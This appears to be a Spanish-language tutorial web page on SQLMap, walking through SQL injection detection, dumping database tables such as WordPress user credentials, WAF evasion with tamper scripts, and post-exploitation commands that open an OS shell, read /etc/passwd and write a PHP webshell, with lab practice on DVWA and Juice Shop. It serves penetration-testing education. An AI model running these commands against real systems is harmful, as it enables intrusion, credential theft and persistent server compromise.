Saltar al contenido principal
SQLMap: Guía Completa de Inyección SQL Automatizada

SQLMap: Guía Completa de Inyección SQL Automatizada

Domina SQLMap para detectar y explotar inyecciones SQL. Escaneo básico, técnicas de bypass, extracción de datos y post-explotación. Tutorial con ejemplos reales y laboratorios.

·Actualizado: 23 de julio de 20266 minCyberFlows Team
[Espacio publicitario — AdSense]
Respuesta rápida

SQLMap es la herramienta de referencia para automatizar la detección y explotación de inyecciones SQL. Soporta MySQL, PostgreSQL, Oracle, MSSQL, SQLite y más de 30 motores de base de datos, con técnicas de bypass de WAF y extracción de datos.

¿Qué es SQLMap?

SQLMap es la herramienta de referencia en la industria para automatizar la detección y explotación de inyecciones SQL. Es de código abierto, escrita en Python, y soporta más de 30 motores de bases de datos distintos.

Capacidades principales:

  • Detección automática del tipo de inyección (boolean, time, error, UNION)
  • Extracción de datos completos de bases de datos comprometidas
  • Bypass de WAF con scripts de tamper (ofuscación)
  • Post-explotación: lectura/escritura de archivos, obtención de shells del SO
  • Soporte para todos los métodos HTTP (GET, POST, PUT, Cookie, Header)

Importante: SQLMap es una herramienta de auditoría de seguridad. Solo debe usarse con autorización explícita del propietario del sistema. El uso no autorizado es un delito informático.

Instalación

# Kali Linux — preinstalado
sqlmap --version

# Ubuntu / Debian
sudo apt install sqlmap

# macOS (Homebrew)
brew install sqlmap

# Desde GitHub (última versión dev)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

Primer Escaneo con SQLMap

El uso básico es simple: apunta a una URL con un parámetro sospechoso y deja que SQLMap haga el trabajo.

# Escaneo básico con detección automática
sqlmap -u "http://target.com/page?id=1" --batch

# El flag --batch usa respuestas por defecto (sin input del usuario)
# SQLMap probará automáticamente:
#  - Tipo de inyección
#  - Motor de base de datos
#  - Nivel de privilegios

Qué detecta automáticamente:

  • Tipo de inyección (4 familias principales)
  • Motor de base de datos (MySQL, PostgreSQL, Oracle, etc.)
  • Usuario de la BD y nivel de privilegios
  • Si es posible extraer datos con UNION o técnicas ciegas

Tipos de Inyección SQL

SQLMap prueba 4 familias de inyección. Entenderlas te permite diagnosticar qué está pasando y cómo evadir firewalls.

1. Boolean-based blind

La aplicación retorna contenido diferente si la condición SQL es verdadera o falsa, sin errores visibles. SQLMap compara las respuestas byte a byte.

# SQLMap detecta esto automáticamente
sqlmap -u "http://target.com/page?id=1" --batch
# Resultado: "Parameter: id (GET)"
# Type: boolean-based blind

2. Time-based blind

No hay diferencia visible entre true/false. SQLMap inyecta SLEEP() y mide el tiempo de respuesta.

# Forzar time-based si boolean no funciona
sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=5

3. Error-based

El servidor retorna mensajes de error que contienen datos de la BD. SQLMap extrae datos directamente de los errores.

# Más probabilidad de encontrar error-based con nivel alto
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2

4. UNION-based

SQLMap descubre cuántas columnas tiene la consulta y usa UNION SELECT para exfiltrar datos directamente.

# Forzar UNION con columnas conocidas
sqlmap -u "http://target.com/page?id=1" --technique=U --union-cols=5

Extracción de Datos con SQLMap

Una vez confirmada la vulnerabilidad, el siguiente paso es mapear la base de datos y extraer datos.

# Paso 1: Enumerar bases de datos
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Paso 2: Listar tablas de una BD
sqlmap -u "http://target.com/page?id=1" -D wordpress --tables --batch

# Paso 3: Volcar una tabla específica
sqlmap -u "http://target.com/page?id=1" \
  -D wordpress -T wp_users --dump --batch

# Paso 4: Volcar solo columnas específicas
sqlmap -u "http://target.com/page?id=1" \
  -D wordpress -T wp_users -C user_login,user_pass --dump

Tip: Usa --start=1 --stop=100 para volcar por lotes en tablas grandes. Usa --where="role='admin'" para filtrar registros específicos.

Bypass de WAF con Tamper Scripts

Los WAF detectan patrones de SQLi. SQLMap ofrece scripts de tamper que ofuscan las sentencias SQL para evadir la detección.

# Un solo tamper
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment --batch

# Múltiples tamper encadenados
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --batch

# Ofuscación manual completa
sqlmap -u "http://target.com/page?id=1" \
  --prefix="'UNION/**/SELECT/**/" \
  --suffix="/**/FROM/**/users/**/WHERE/**/1=1--" --batch

Tamper scripts más útiles:

  • space2comment — Reemplaza espacios por /**/
  • between — Cambia > por NOT 1/ y = por BETWEEN 0 AND 1
  • charencode — Codifica cada carácter en URL encoding
  • randomcase — Mezcla mayúsculas/minúsculas en keywords SQL
  • equaltolike — Cambia = por LIKE

SQLMap con Petición POST

Para formularios de login o endpoints POST, guarda la petición completa en un archivo y úsalo con -r.

# Capturar petición desde Burp/Curl y guardarla en request.txt
sqlmap -r request.txt -p username --batch

# Con cookie de sesión
sqlmap -r request.txt --cookie="session=abc123" -p param --batch

Post-explotación: Shell del Sistema Operativo

Si la BD tiene privilegios elevados, SQLMap puede ejecutar comandos del SO directamente.

# Obtener shell del sistema operativo
sqlmap -u "http://target.com/page?id=1" --os-shell --batch

# Leer archivos del servidor
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd" --batch

# Escribir un webshell
sqlmap -u "http://target.com/page?id=1" \
  --file-write="./shell.php" \
  --file-dest="/var/www/html/shell.php" --batch

Nota: --os-shell solo funciona si MySQL tiene UDF habilitado y privilegios de escritura en disco. Si falla, prueba --file-write para subir un webshell manualmente.

Automatización con Configuración

Para auditorías recurrentes, crea archivos de configuración INI para escaneos reproducibles.

# Crear configuración
cat > target.ini << EOF
[Target]
url = http://target.com/page?id=1
cookie = session=abc123

[Settings]
batch = True
level = 3
risk = 2
tamper = space2comment,between

[Output]
output-dir = ./results/
EOF

# Ejecutar con configuración
sqlmap -c target.ini --dump-all

SQLMap vs. Burp Suite vs. OWASP ZAP

Característica SQLMap Burp Suite OWASP ZAP
Especialidad SQLi automatizado Proxy + Scanner web Scanner web completo
Velocidad SQLi Muy rápido Moderado (Repeater) Moderado
Bypass WAF Tamper scripts Manual Scripts
Post-explotación Shell SO No directo No directo
Curva aprendizaje Baja Media Media
Ideal para Pentest SQLi Auditoría web completa QA automatizado

Combinación recomendada: Usa Burp Suite para mapear la aplicación, identificar parámetros sospechosos, y luego SQLMap para explotar las inyecciones encontradas de forma automatizada.

Práctica en Laboratorios

DVWA (Damn Vulnerable Web Application)

# Nivel low: SQLi básica
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=tu_session; security=low" --batch

# Nivel medium: POST-based
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" \
  --data="id=1&Submit=Submit" \
  --cookie="PHPSESSID=tu_session; security=medium" --batch

Juice Shop (OWASP)

# Buscar parámetros vulnerables
sqlmap -u "http://localhost:3000/api/Products/1" --batch
sqlmap -u "http://localhost:3000/api/Users" --batch

HackTheBox / TryHackMe

SQLMap aparece en máquinas como "Celestial", "Postman", "Netmon" y retos web de la plataforma. Es una herramienta fundamental para OSCP y certificaciones de pentesting.

Errores Comunes y Soluciones

"all tested parameters do not appear to be injectable" → Aumenta el nivel: --level=3 --risk=2

"connection reset" / WAF bloquea → Añade --random-agent --tamper=space2comment y --delay=1

"unknown database management system" → Usa --dbms=mysql para forzar el motor conocido

"usage of tamper scripts is not possible" → El parámetro puede no estar realmente en la URL. Prueba con -r si es POST.

Preguntas Frecuentes

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.

[Espacio publicitario — AdSense]

Newsletter de Ciberseguridad

Resumen semanal con los mejores artículos, CVEs críticos y tendencias del mercado. Sin spam.

🔒 Tu email no se compartirá. Puedes darte de baja en cualquier momento.